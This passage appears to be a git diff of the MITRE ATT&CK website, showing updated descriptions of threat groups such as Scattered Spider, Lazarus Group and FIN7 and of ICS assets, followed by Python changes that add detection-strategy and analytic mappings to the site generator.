| > | s.(Citation: cyble_chameleon_0423) | > | lications. A new variant of [Chameleon](https://attack.mitre | ||
| > | .org/software/S1083) has expanded its targets to include And | ||||
| > | roid users in the United Kingdom and Italy.(Citation: cyble_ | ||||
| > | chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is | t | 1 | [Scattered Spider](https://attack.mitre.org/groups/G1015) is |
| > | a native English-speaking cybercriminal group that has been | > | a native English-speaking cybercriminal group active since | ||
| > | active since at least 2022.(Citation: CrowdStrike Scattered | > | at least 2022. (Citation: CrowdStrike Scattered Spider Profi | ||
| > | Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct | > | le) (Citation: MSTIC Octo Tempest Operations October 2023) T | ||
| > | ober 2023) The group initially targeted customer relationshi | > | he group initially targeted customer relationship management | ||
| > | p management and business-process outsourcing (BPO) firms as | > | (CRM) providers, business process outsourcing (BPO) firms, | ||
| > | well as telecommunications and technology companies. Beginn | > | and telecommunications and technology companies before expan | ||
| > | ing in 2023, [Scattered Spider](https://attack.mitre.org/gro | > | ding in 2023 to gaming, hospitality, retail, managed service | ||
| > | ups/G1015) expanded its operations to compromise victims in | > | provider (MSP), manufacturing, and financial sectors. (Cita | ||
| > | the gaming, hospitality, retail, MSP, manufacturing, and fin | > | tion: MSTIC Octo Tempest Operations October 2023) [Scattered | ||
| > | ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo | > | Spider](https://attack.mitre.org/groups/G1015) relies heavi | ||
| > | ber 2023) During campaigns, [Scattered Spider](https://attac | > | ly on social engineering, including impersonating IT and hel | ||
| > | k.mitre.org/groups/G1015) has leveraged targeted social-engi | > | p-desk staff, to gain initial access, bypass multi-factor au | ||
| > | neering techniques, attempted to bypass popular endpoint sec | > | thentication (MFA), and compromise enterprise networks. The | ||
| > | urity tools, and more recently, deployed ransomware for fina | > | group has adapted its tooling to evade endpoint detection an | ||
| > | ncial gain.(Citation: CISA Scattered Spider Advisory Novembe | > | d response (EDR) defenses and used ransomware for financial | ||
| > | r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January | > | gain. (Citation: CISA Scattered Spider Advisory November 202 | ||
| > | 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat | > | 3) (Citation: CrowdStrike Scattered Spider BYOVD January 202 | ||
| > | ion: MSTIC Octo Tempest Operations October 2023)(Citation: C | > | 3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) | ||
| > | rowdstrike TELCO BPO Campaign December 2022) | > | [Scattered Spider](https://attack.mitre.org/groups/G1015) ha | ||
| > | d expanded into hybrid cloud and identity environments, usin | ||||
| > | g help-desk impersonation and MFA bypass to obtain administr | ||||
| > | ator access in Okta, AWS, and Office 365. (Citation: Mandian | ||||
| > | t UNC3944 May 2025) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | North Korean state-sponsored cyber threat group that has bee | > | North Korean state-sponsored cyber threat group attributed t | ||
| > | n attributed to the Reconnaissance General Bureau.(Citation: | > | o the Reconnaissance General Bureau (RGB). (Citation: US-CER | ||
| > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | > | T HIDDEN COBRA June 2017) (Citation: Treasury North Korean C | ||
| > | rean Cyber Groups September 2019) The group has been active | > | yber Groups September 2019) [Lazarus Group](https://attack.m | ||
| > | since at least 2009 and was reportedly responsible for the N | > | itre.org/groups/G0032) has been active since at least 2009 a | ||
| > | ovember 2014 destructive wiper attack against Sony Pictures | > | nd is reportedly responsible for the November 2014 destructi | ||
| > | Entertainment as part of a campaign named Operation Blockbus | > | ve wiper attack on Sony Pictures Entertainment, identified b | ||
| > | ter by Novetta. Malware used by [Lazarus Group](https://atta | > | y Novetta as part of Operation Blockbuster. Malware used by | ||
| > | ck.mitre.org/groups/G0032) correlates to other reported camp | > | [Lazarus Group](https://attack.mitre.org/groups/G0032) corre | ||
| > | aigns, including Operation Flame, Operation 1Mission, Operat | > | lates to other reported campaigns, including Operation Flame | ||
| > | ion Troy, DarkSeoul, and Ten Days of Rain.(Citation: Novetta | > | , Operation 1Mission, Operation Troy, DarkSeoul, and Ten Day | ||
| > | Blockbuster) North Korean group definitions are known to h | > | s of Rain.(Citation: Novetta Blockbuster) North Korea\u2019s cyb | ||
| > | ave significant overlap, and some security researchers repor | > | er operations have shown a consistent pattern of adaptation, | ||
| > | t all North Korean state-sponsored cyber activity under the | > | forming and reorganizing units as national priorities shift | ||
| > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | > | . These units frequently share personnel, infrastructure, ma | ||
| > | instead of tracking clusters or subgroups, such as [Andariel | > | lware, and tradecraft, making it difficult to attribute spec | ||
| > | ](https://attack.mitre.org/groups/G0138), [APT37](https://at | > | ific operations with high confidence. Public reporting often | ||
| > | tack.mitre.org/groups/G0067), [APT38](https://attack.mitre.o | > | uses \u201cLazarus Group\u201d as an umbrella term for multiple North | ||
| > | rg/groups/G0082), and [Kimsuky](https://attack.mitre.org/gro | > | Korean cyber operators conducting espionage, destructive at | ||
| > | ups/G0094). | > | tacks, and financially motivated campaigns.(Citation: Mandia | ||
| > | nt DPRK Laz Org Breakdown 2022)(Citation: Mandiant DPRK Grou | ||||
| > | ps 2023)(Citation: JPCert Blog Laz Subgroups 2025) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has been active since 2013. [ | > | ly-motivated threat group that has been active since 2013. [ | ||
| > | FIN7](https://attack.mitre.org/groups/G0046) has primarily t | > | FIN7](https://attack.mitre.org/groups/G0046) has targeted th | ||
| > | argeted the retail, restaurant, hospitality, software, consu | > | e retail, restaurant, hospitality, software, consulting, fin | ||
| > | lting, financial services, medical equipment, cloud services | > | ancial services, medical equipment, cloud services, media, f | ||
| > | , media, food and beverage, transportation, and utilities in | > | ood and beverage, transportation, pharmaceutical, and utilit | ||
| > | dustries in the U.S. A portion of [FIN7](https://attack.mitr | > | ies industries in the United States. A portion of [FIN7](htt | ||
| > | e.org/groups/G0046) was run out of a front company called Co | > | ps://attack.mitre.org/groups/G0046) was operated out of a fr | ||
| > | mbi Security and often used point-of-sale malware for target | > | ont company called Combi Security and often used point-of-sa | ||
| > | ing efforts. Since 2020, [FIN7](https://attack.mitre.org/gro | > | le malware for targeting efforts. Since 2020, [FIN7](https:/ | ||
| > | ups/G0046) shifted operations to a big game hunting (BGH) ap | > | /attack.mitre.org/groups/G0046) shifted operations to big ga | ||
| > | proach including use of [REvil](https://attack.mitre.org/sof | > | me hunting (BGH), including use of [REvil](https://attack.mi | ||
| > | tware/S0496) ransomware and their own Ransomware as a Servic | > | tre.org/software/S0496) ransomware and their own Ransomware- | ||
| > | e (RaaS), Darkside. FIN7 may be linked to the [Carbanak](htt | > | as-a-Service (RaaS), Darkside. FIN7 may be linked to the [Ca | ||
| > | ps://attack.mitre.org/groups/G0008) Group, but there appears | > | rbanak](https://attack.mitre.org/groups/G0008) Group, but mu | ||
| > | to be several groups using [Carbanak](https://attack.mitre. | > | ltiple threat groups have been observed using [Carbanak](htt | ||
| > | org/software/S0030) malware and are therefore tracked separa | > | ps://attack.mitre.org/software/S0030), leading these groups | ||
| > | tely.(Citation: FireEye FIN7 March 2017)(Citation: FireEye F | > | to be tracked separately.(Citation: FireEye FIN7 March 2017) | ||
| > | IN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citati | > | (Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBAN | ||
| > | on: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spid | > | AK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: Cro | ||
| > | er August 2021)(Citation: Mandiant FIN7 Apr 2022) | > | wdStrike Carbon Spider August 2021)(Citation: Mandiant FIN7 | ||
| > | Apr 2022)(Citation: BiZone Lizar May 2021) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Data Gateway is a device that supports the communication and | t | 1 | Data Gateway is a device that supports the communication and |
| > | exchange of data between different systems, networks, or pr | > | exchange of data between different systems, networks, or pr | ||
| > | otocols within the ICS. Different types of data gateways are | > | otocols within the ICS. Different types of data gateways are | ||
| > | used to perform various functions, including: * <u>Proto | > | used to perform various functions, including: * <u>Proto | ||
| > | col Translation:</u> Enable communication to devices that su | > | col Translation:</u> Enable communication to devices that su | ||
| > | pport different or incompatible protocols by translating inf | > | pport different or incompatible protocols by translating inf | ||
| > | ormation from one protocol to another. * <u>Media Convert | > | ormation from one protocol to another. * <u>Media Convert | ||
| > | er:</u> Convert data across different Layer 1 and 2 network | > | er:</u> Convert data across different Layer 1 and 2 network | ||
| > | protocols / mediums, for example, converting from Serial to | > | protocols / mediums, for example, converting from Serial to | ||
| > | Ethernet. * <u>Data Aggregation:</u> Collect and combine | > | Ethernet. * <u>Data Aggregation:</u> Collect and combine | ||
| > | data from different devices into one consistent format and p | > | data from different devices into one consistent format and p | ||
| > | rotocol interface. Data gateways are often critical to the | > | rotocol interface. * <u>Data Mirroring:</u> Create a real- | ||
| > | forwarding/transmission of critical control or monitoring d | > | time, exact copy of data streams from devices to a separate | ||
| > | ata within the ICS. Further, these devices often have remote | > | destination for redundancy, monitoring, or backup purposes. | ||
| > | various network services that are used to communicate acros | > | Data gateways are often critical to the forwarding/transmis | ||
| > | s different zones or networks. These assets may focus on | > | sion of critical control or monitoring data within the ICS. | ||
| > | a single function listed below or combinations of these func | > | Further, these devices often have remote various network ser | ||
| > | tions to best fit the industry use-case. | > | vices that are used to communicate across different zones or | ||
| > | networks. These assets may focus on a single function li | ||||
| > | sted below or combinations of these functions to best fit th | ||||
| > | e industry use-case. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Data historians, or historian, are systems used to collect a | t | 1 | Data historians, or historian, are systems used to collect a |
| > | nd store data, including telemetry, events, alerts, and alar | > | nd store data, including telemetry, events, alerts, and alar | ||
| > | ms about the operational process and supporting devices. The | > | ms about the operational process and supporting devices. The | ||
| > | historian typically utilizes a database to store this data, | > | historian typically utilizes a database to store this data, | ||
| > | and commonly provide tools and interfaces to support the an | > | and commonly provide tools and interfaces to support the an | ||
| > | alysis of the data. Data historians are often used to suppor | > | alysis of the data. Data historians are often used to suppor | ||
| > | t various engineering or business analysis functions and the | > | t various engineering or business analysis functions and the | ||
| > | refore commonly needs access from the corporate network. Dat | > | refore commonly needs access from the corporate network. Dat | ||
| > | a historians often work in a hierarchical paradigm where low | > | a historians often work in a hierarchical paradigm where low | ||
| > | er/site level historians collect and store data which is the | > | er/site level historians collect and store data which is the | ||
| > | n aggregated into a site/plant level historian. Therefore, d | > | n aggregated into a site/plant level historian. Therefore, d | ||
| > | ata historians often have remote services that can be access | > | ata historians often have remote services that can be access | ||
| > | ed externally from the ICS network. | > | ed externally from the ICS network. Many data historian vend | ||
| > | ors have designed their software to securely transfer data b | ||||
| > | etween the ICS and business networks instead of requiring bu | ||||
| > | siness systems to access the data historian in the ICS netwo | ||||
| > | rk directly. |
Detectable by Common Defenses (Yes/No/Partial): {{parsed.detectable}}
- {% if parsed.detectable_exp %} -Explanation: {{parsed.detectable_exp}}
- {% endif %} -Easy for the Adversary (Yes/No): {{parsed.diff_for_adv}}
- {% if parsed.diff_for_adv_exp %} -Explanation: {{parsed.diff_for_adv_exp}}
- {% endif %} -" + technique_data["descr"] + "
" + subtechnique["descr"] += "\n\n" + technique_data["descr"] elif "descr" in technique_data: subtechnique["descr"] = technique_data["descr"] break @@ -410,7 +432,7 @@ def technique_used_helper(technique_list, technique, reference_list, inherited=F technique_list[attack_id]["color"] = 3 # belongs both to object and inherited from another if "descr" in technique_data and "descr" in technique_list[attack_id]: # add markdown newline between descriptions - technique_list[attack_id]["descr"] += "" + technique_data["descr"] + "
" + technique_list[attack_id]["descr"] += "\n\n" + technique_data["descr"] elif "descr" in technique_data: technique_list[attack_id]["descr"] = technique_data["descr"] else: diff --git a/modules/util/relationshipgetters.py b/modules/util/relationshipgetters.py index f6868cd10f5..a20bb2c2a7b 100644 --- a/modules/util/relationshipgetters.py +++ b/modules/util/relationshipgetters.py @@ -1,5 +1,3 @@ -from modules import site_config - from . import relationshiphelpers as rsh from . import stixhelpers @@ -12,12 +10,12 @@ techniques_used_by_groups = {} techniques_used_by_campaigns = {} techniques_targeting_assets = {} -techniques_detected_by_datacomponent = {} +techniques_detected_by_detectionstrategy = {} groups_using_tool = {} groups_using_malware = {} mitigation_mitigates_techniques = {} technique_mitigated_by_mitigation = {} -datacomponents_detecting_technique = {} +detectionstrategies_detecting_technique = {} tools_using_technique = {} malware_using_technique = {} groups_using_technique = {} @@ -28,7 +26,6 @@ groups_attributed_to_campaign = {} campaigns_attributed_to_group = {} subtechniques_of = {} -datacomponent_of = {} datasource_of = {} parent_technique_of = {} objects_using_notes = {} @@ -47,14 +44,17 @@ mitigation_list = [] campaign_list = [] asset_list = [] +analytic_list = [] +detectionstrategy_list = [] technique_to_domain = {} +logsource_to_detections = {} # Relationship getters def get_malware_used_by_groups(): - """malware used by groups getter""" + """Return malware used by groups.""" global malware_used_by_groups if not malware_used_by_groups: @@ -64,7 +64,7 @@ def get_malware_used_by_groups(): def get_tools_used_by_groups(): - """tools used by groups getter""" + """Return tools used by groups.""" global tools_used_by_groups if not tools_used_by_groups: @@ -74,7 +74,7 @@ def get_tools_used_by_groups(): def get_malware_used_by_campaigns(): - """malware used by campaigns getter""" + """Return malware used by campaigns.""" global malware_used_by_campaigns if not malware_used_by_campaigns: @@ -84,7 +84,7 @@ def get_malware_used_by_campaigns(): def get_tools_used_by_campaigns(): - """tools used by campaigns getter""" + """Return tools used by campaigns.""" global tools_used_by_campaigns if not tools_used_by_campaigns: @@ -94,7 +94,7 @@ def get_tools_used_by_campaigns(): def get_techniques_used_by_malware(): - """techniques used by malware getter""" + """Return techniques used by malware.""" global techniques_used_by_malware if not techniques_used_by_malware: @@ -104,7 +104,7 @@ def get_techniques_used_by_malware(): def get_techniques_used_by_tools(): - """techniques used by tools getter""" + """Return techniques used by tools.""" global techniques_used_by_tools if not techniques_used_by_tools: @@ -114,7 +114,7 @@ def get_techniques_used_by_tools(): def get_techniques_used_by_groups(): - """techniques used by groups getter""" + """Return techniques used by groups.""" global techniques_used_by_groups if not techniques_used_by_groups: @@ -124,7 +124,7 @@ def get_techniques_used_by_groups(): def get_techniques_used_by_campaigns(): - """techniques used by campaigns getter""" + """Return techniques used by campaigns.""" global techniques_used_by_campaigns if not techniques_used_by_campaigns: @@ -134,7 +134,7 @@ def get_techniques_used_by_campaigns(): def get_techniques_targeting_assets(): - """techniques targeting assets getter""" + """Return techniques targeting assets.""" global techniques_targeting_assets if not techniques_targeting_assets: @@ -144,7 +144,7 @@ def get_techniques_targeting_assets(): def get_assets_targeted_by_techniques(): - """assets targeted by techniques getter""" + """Return assets targeted by techniques.""" global assets_targeted_by_techniques if not assets_targeted_by_techniques: @@ -153,26 +153,26 @@ def get_assets_targeted_by_techniques(): return assets_targeted_by_techniques -def get_techniques_detected_by_datacomponent(): - global techniques_detected_by_datacomponent +def get_techniques_detected_by_detectionstrategy(): + global techniques_detected_by_detectionstrategy - if not techniques_detected_by_datacomponent: - techniques_detected_by_datacomponent = rsh.techniques_detected_by_datacomponent(get_srcs()) + if not techniques_detected_by_detectionstrategy: + techniques_detected_by_detectionstrategy = rsh.techniques_detected_by_detectionstrategy(get_srcs()) - return techniques_detected_by_datacomponent + return techniques_detected_by_detectionstrategy -def get_datacomponents_detecting_technique(): - global datacomponents_detecting_technique +def get_detectionstrategies_detecting_technique(): + global detectionstrategies_detecting_technique - if not datacomponents_detecting_technique: - datacomponents_detecting_technique = rsh.datacomponents_detecting_technique(get_srcs()) + if not detectionstrategies_detecting_technique: + detectionstrategies_detecting_technique = rsh.detectionstrategy_detecting_technique(get_srcs()) - return datacomponents_detecting_technique + return detectionstrategies_detecting_technique def get_groups_using_tool(): - """groups using tool getter""" + """Return groups using a tool.""" global groups_using_tool if not groups_using_tool: @@ -182,7 +182,7 @@ def get_groups_using_tool(): def get_groups_using_malware(): - """groups using malware getter""" + """Return groups using malware.""" global groups_using_malware if not groups_using_malware: @@ -192,7 +192,7 @@ def get_groups_using_malware(): def get_mitigation_mitigates_techniques(): - """mitigation migates techniques getter""" + """Return mapping of mitigations that mitigate techniques.""" global mitigation_mitigates_techniques if not mitigation_mitigates_techniques: @@ -202,7 +202,7 @@ def get_mitigation_mitigates_techniques(): def get_technique_mitigated_by_mitigation(): - """technique mitigated by mitigation getter""" + """Return techniques mitigated by mitigations.""" global technique_mitigated_by_mitigation if not technique_mitigated_by_mitigation: @@ -212,7 +212,7 @@ def get_technique_mitigated_by_mitigation(): def get_tools_using_technique(): - """tools using technique getter""" + """Return tools using a technique.""" global tools_using_technique if not tools_using_technique: @@ -222,7 +222,7 @@ def get_tools_using_technique(): def get_malware_using_technique(): - """malware using technique getter""" + """Return malware using a technique.""" global malware_using_technique if not malware_using_technique: @@ -232,7 +232,7 @@ def get_malware_using_technique(): def get_groups_using_technique(): - """groups using technique getter""" + """Return groups using a technique.""" global groups_using_technique if not groups_using_technique: @@ -242,7 +242,7 @@ def get_groups_using_technique(): def get_campaigns_using_technique(): - """campaigns using technique getter""" + """Return campaigns using a technique.""" global campaigns_using_technique if not campaigns_using_technique: @@ -252,7 +252,7 @@ def get_campaigns_using_technique(): def get_campaigns_using_tool(): - """campaigns using tool getter""" + """Return campaigns using a tool.""" global campaigns_using_tool if not campaigns_using_tool: @@ -262,7 +262,7 @@ def get_campaigns_using_tool(): def get_campaigns_using_malware(): - """campaigns using malware getter""" + """Return campaigns using malware.""" global campaigns_using_malware if not campaigns_using_malware: @@ -272,7 +272,7 @@ def get_campaigns_using_malware(): def get_groups_attributed_to_campaigns(): - """groups attributed to campaign getter""" + """Return groups attributed to campaigns.""" global groups_attributed_to_campaign if not groups_attributed_to_campaign: @@ -282,7 +282,7 @@ def get_groups_attributed_to_campaigns(): def get_campaigns_attributed_to_group(): - """campaigns attributed to group getter""" + """Return campaigns attributed to a group.""" global campaigns_attributed_to_group if not campaigns_attributed_to_group: @@ -292,7 +292,7 @@ def get_campaigns_attributed_to_group(): def get_subtechniques_of(): - """subtechniques of techniques getter""" + """Return subtechniques for techniques.""" global subtechniques_of if not subtechniques_of: @@ -301,18 +301,8 @@ def get_subtechniques_of(): return subtechniques_of -def get_datacomponent_of(): - """data components of data sources getter""" - global datacomponent_of - - if not datacomponent_of: - datacomponent_of = stixhelpers.datacomponent_of() - - return datacomponent_of - - def get_datasource_of(): - """data source of data component getter""" + """Return the data source for a data component.""" global datasource_of if not datasource_of: @@ -322,7 +312,7 @@ def get_datasource_of(): def get_parent_technique_of(): - """parent of subtechnique getter""" + """Return parent technique for subtechniques.""" global parent_technique_of if not parent_technique_of: @@ -332,7 +322,7 @@ def get_parent_technique_of(): def get_objects_using_notes(): - """get objects using notes""" + """Return objects using notes.""" global objects_using_notes if not objects_using_notes: @@ -342,7 +332,7 @@ def get_objects_using_notes(): def get_ms(): - """memory shares getter""" + """Return STIX memory stores.""" global ms global srcs @@ -354,7 +344,7 @@ def get_ms(): def get_srcs(): - """memory shares without domain getter""" + """Return STIX memory stores without domain.""" global ms global srcs @@ -366,7 +356,7 @@ def get_srcs(): def get_resources(): - """resources getter""" + """Return grabbed resources.""" global resources if not resources: @@ -376,7 +366,7 @@ def get_resources(): def get_relationships(): - """relationship getter""" + """Return relationships from resources.""" global relationships if not relationships: @@ -386,7 +376,7 @@ def get_relationships(): def get_group_list(): - """group list getter""" + """Return the group list.""" global group_list if not group_list: @@ -396,7 +386,7 @@ def get_group_list(): def get_software_list(): - """software list getter""" + """Return the software list.""" global software_list if not software_list: @@ -406,7 +396,7 @@ def get_software_list(): def get_technique_list(): - """technique list getter""" + """Return the technique list.""" global technique_list if not technique_list: @@ -416,7 +406,7 @@ def get_technique_list(): def get_datasource_list(): - """data source list getter""" + """Return the data source list.""" global datasource_list if not datasource_list: @@ -426,7 +416,7 @@ def get_datasource_list(): def get_datacomponent_list(): - """data component list getter""" + """Return the data component list.""" global datacomponent_list if not datacomponent_list: @@ -436,7 +426,7 @@ def get_datacomponent_list(): def get_mitigation_list(): - """mitigation list getter""" + """Return the mitigation list.""" global mitigation_list if not mitigation_list: @@ -446,7 +436,7 @@ def get_mitigation_list(): def get_campaign_list(): - """campaign list getter""" + """Return the campaign list.""" global campaign_list if not campaign_list: @@ -456,7 +446,7 @@ def get_campaign_list(): def get_asset_list(): - """asset list getter""" + """Return the asset list.""" global asset_list if not asset_list: @@ -465,8 +455,49 @@ def get_asset_list(): return asset_list +def get_detectionstrategy_list(): + """Detection strategy list getter""" + global detectionstrategy_list + + if not detectionstrategy_list: + detectionstrategy_list = get_resources()["detectionstrategies"] + + return detectionstrategy_list + + +def get_logsource_to_detections_mapping(): + """Get mapping from log sources to detection strategies and analytics""" + global logsource_to_detections + global detectionstrategy_list + + for detection_strategy in detectionstrategy_list: + analytics_list_for_detection_strategy = stixhelpers.get_analytics_from_detection_strategy(detection_strategy) + for analytic_list_for_detection_strategy in analytics_list_for_detection_strategy.values(): + log_sources = analytic_list_for_detection_strategy.get("x_mitre_log_source_references", []) + for log_source in log_sources: + log_source_id = log_source.get("x_mitre_data_component_ref") + if log_source_id not in logsource_to_detections: + logsource_to_detections[log_source_id] = [] + already_exists = any(entry[0] == detection_strategy for entry in logsource_to_detections[log_source_id]) + if not already_exists: + logsource_to_detections[log_source_id].append( + [detection_strategy, analytic_list_for_detection_strategy, log_source] + ) + return logsource_to_detections + + +def get_analytic_list(): + """Analytic list getter""" + global analytic_list + + if not analytic_list: + analytic_list = get_resources()["analytics"] + + return analytic_list + + def get_technique_to_domain(): - """technique to domain getter""" + """Return mapping of technique to domain.""" global technique_to_domain if not technique_to_domain: diff --git a/modules/util/relationshiphelpers.py b/modules/util/relationshiphelpers.py index eeaff15d9ae..f2d6ac37d45 100644 --- a/modules/util/relationshiphelpers.py +++ b/modules/util/relationshiphelpers.py @@ -178,25 +178,6 @@ def campaigns_using_malware(srcs): return get_related(srcs, "campaign", "uses", "malware", reverse=True) -# technique:data component -def techniques_detected_by_datacomponent(srcs): - """Return datacomponent_id => {technique, relationship} for each technique detected by data component. - - srcs should be an array of memorystores for enterprise, mobile, and pre. - The mobile and pre memorystores should not contain data components nor data sources. - """ - return get_related(srcs, "x-mitre-data-component", "detects", "attack-pattern") - - -def datacomponents_detecting_technique(srcs): - """Return technique => {data component, relationship} for each data component decting a technique. - - srcs should be an array of memorystores for enterprise, mobile, and pre. - The mobile and pre memorystores should not contain data components nor data sources. - """ - return get_related(srcs, "x-mitre-data-component", "detects", "attack-pattern", reverse=True) - - # technique:group def techniques_used_by_groups(srcs): """Return group_id => {technique, relationship} for each technique used by the group. @@ -232,7 +213,7 @@ def campaigns_using_technique(srcs): def groups_attributed_to_campaign(srcs): - """Return campaign_id => {group, relationship} for each group attributed to the campaign + """Return campaign_id => {group, relationship} for each group attributed to the campaign. srcs should be an array of memorystores for enterprise, mobile, and pre """ @@ -240,7 +221,7 @@ def groups_attributed_to_campaign(srcs): def campaigns_attributed_to_group(srcs): - """Return group_id => {campaign, relationship} for each campaign attributed to the group + """Return group_id => {campaign, relationship} for each campaign attributed to the group. srcs should be an array of memorystores for enterprise, mobile, and pre """ @@ -340,6 +321,21 @@ def parent_technique_of(srcs): """ return get_related(srcs, "attack-pattern", "subtechnique-of", "attack-pattern") +# technique:detection strategy +def techniques_detected_by_detectionstrategy(srcs): + """Return detectionstrategy_id => {technique, relationship} for each technique detected by detection strategy. + + srcs should be an array of memorystores for enterprise, mobile, and ics + """ + return get_related(srcs, "x-mitre-detection-strategy", "detects", "attack-pattern") + + +def detectionstrategy_detecting_technique(srcs): + """Return technique => {detection strategy, relationship} for each detection strategy decting a technique. + + srcs should be an array of memorystores for enterprise, mobile, and ics + """ + return get_related(srcs, "x-mitre-detection-strategy", "detects", "attack-pattern", reverse=True) def get_objects_using_notes(srcs): """Build note object mapping. diff --git a/modules/util/stixhelpers.py b/modules/util/stixhelpers.py index 540e7bb37cf..7f1117ab861 100644 --- a/modules/util/stixhelpers.py +++ b/modules/util/stixhelpers.py @@ -14,7 +14,7 @@ from . import relationshiphelpers as rsh -def get_mitigation_list(src, get_deprecated=False): +def get_mitigation_list_from_src(src, get_deprecated=False): """Read the STIX and return a list of all mitigations in the STIX.""" mitigations = src.query([stix2.Filter("type", "=", "course-of-action"), stix2.Filter("revoked", "=", False)]) @@ -25,6 +25,31 @@ def get_mitigation_list(src, get_deprecated=False): return sorted(mitigations, key=lambda k: k["name"].lower()) +def get_detection_strategy_list_from_src(src, get_deprecated=False, sort_by_id=False): + """Read the STIX and return a list of all detection strategies in the STIX.""" + detectionstrategies = src.query([stix2.Filter("type", "=", "x-mitre-detection-strategy")]) + if not get_deprecated: + # Filter out deprecated objects for detectionstrategies pages + detectionstrategies = [ + x for x in detectionstrategies if not hasattr(x, "x_mitre_deprecated") or x.x_mitre_deprecated is False + ] + if sort_by_id: + return sorted(detectionstrategies, key=lambda k: k["external_references"][0]["external_id"]) + return sorted(detectionstrategies, key=lambda k: k["name"].lower()) + + +def get_datacomponent_list_from_src(src, get_deprecated=False): + """Read the STIX and return a list of all data components in the STIX.""" + datacomponents = src.query([stix2.Filter("type", "=", "x-mitre-data-component")]) + if not get_deprecated: + # Filter out deprecated objects + datacomponents = [ + x for x in datacomponents if not hasattr(x, "x_mitre_deprecated") or x.x_mitre_deprecated is False + ] + + return sorted(datacomponents, key=lambda k: k["name"].lower()) + + def get_matrices(src, domain): """Read the STIX and return a list of all matrices in the STIX.""" stix_matrices = src.query( @@ -215,6 +240,15 @@ def datacomponent_of(): return datacomponent_of +def get_datacomponent_from_list(datacomponent_stix_id): + """Return data component object with given stix id.""" + datacomponents = relationshipgetters.get_datacomponent_list() + for dc in datacomponents: + if dc["id"] == datacomponent_stix_id: + return dc + return None + + def get_datasource_from_list(datasource_stix_id): """Return data source object with given data source stix id.""" datasources = relationshipgetters.get_datasource_list() @@ -233,7 +267,7 @@ def datasource_of(): datasource_of = {} for datacomponent in datacomponents: if not datasource_of.get(datacomponent["id"]): - datasource = get_datasource_from_list(datacomponent["x_mitre_data_source_ref"]) + datasource = get_datasource_from_list(datacomponent.get("x_mitre_data_source_ref")) if datasource: datasource_of[datacomponent["id"]] = datasource @@ -241,6 +275,31 @@ def datasource_of(): return datasource_of +def get_analytic_from_list(analytic_stix_id): + """Return analytic object with given stix id.""" + analytics = relationshipgetters.get_analytic_list() + return next((analytic for analytic in analytics if analytic["id"] == analytic_stix_id), None) + + +def get_related_detection_strategies(analytic_stix_id): + """Return detection strategies referencing this analytic.""" + detection_strategies = relationshipgetters.get_detectionstrategy_list() + references = [] + for det in detection_strategies: + analytic_refs = det.get("x_mitre_analytic_refs", []) + if analytic_stix_id in analytic_refs: + references.append(det) + return references + + +def get_analytics_from_detection_strategy(detection_strategy): + """Build a lookup map for all analytics from the given detection strategy.""" + all_analytics = relationshipgetters.get_analytic_list() + analytics_map = {analytic["id"]: analytic for analytic in all_analytics} + analytic_refs = detection_strategy.get("x_mitre_analytic_refs", []) + return {ref: analytics_map.get(ref) for ref in analytic_refs} + + def add_replace_or_ignore(stix_objs, attack_id_objs, obj_in_question): """Add if object does not already exist. @@ -337,9 +396,8 @@ def get_domain_resources(types): for stix_type in types: # Returns sorted list by name of domain resources by given type list # Builds list from unique ATT&CK IDs - curr_list = ms[domain["name"]].query( - [stix2.Filter("type", "=", stix_type), stix2.Filter("revoked", "=", False)] - ) + curr_list = ms[domain["name"]].query([stix2.Filter("type", "=", stix_type)]) + curr_list = [obj for obj in curr_list if not getattr(obj, "revoked", False)] for val in curr_list: add_replace_or_ignore(stix_objs, attack_id_objs, val) @@ -366,6 +424,10 @@ def get_domain_resources(types): # Generates list of assets asset_list = get_domain_resources(["x-mitre-asset"]) + datacomponent_list = get_domain_resources(["x-mitre-data-component"]) + detectionstrategy_list = get_domain_resources(["x-mitre-detection-strategy"]) + analytic_list = get_domain_resources(["x-mitre-analytic"]) + # Generates list of relationships rel_list = [] for domain in site_config.domains: @@ -385,6 +447,9 @@ def get_domain_resources(types): "mitigations": coa_list, "campaigns": campaign_list, "assets": asset_list, + "datacomponents": datacomponent_list, + "analytics": analytic_list, + "detectionstrategies": detectionstrategy_list, } return resources @@ -440,6 +505,7 @@ def get_contributors(ms): "x-mitre-data-source", "x-mitre-tactic", "x-mitre-asset", + "x-mitre-detection-strategy", ] src = ms[domain["name"]] obj_list = [] diff --git a/pelicanconf.py b/pelicanconf.py index 85152bb2547..f59d77118a6 100644 --- a/pelicanconf.py +++ b/pelicanconf.py @@ -52,3 +52,17 @@ "stixToHTML": custom_jinja_filters.stixToHTML, "permalink": custom_jinja_filters.permalink, } + +MARKDOWN = { + "extension_configs": { + # defaults + "markdown.extensions.codehilite": {"css_class": "highlight"}, + "markdown.extensions.extra": {}, + "markdown.extensions.meta": {}, + # This is for enabling the TOC generation: https://python-markdown.github.io/extensions/toc/ + "markdown.extensions.toc": {"anchorlink": True}, + # Turns new lines into HTML breaks, like GitHub and StackOverflow: https://python-markdown.github.io/extensions/nl2br/ + "markdown.extensions.nl2br": {}, + }, + "output_format": "html5", +} diff --git a/pyproject.toml b/pyproject.toml index 28c07c199ec..66f3f8bc9ca 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -6,7 +6,7 @@ profile = 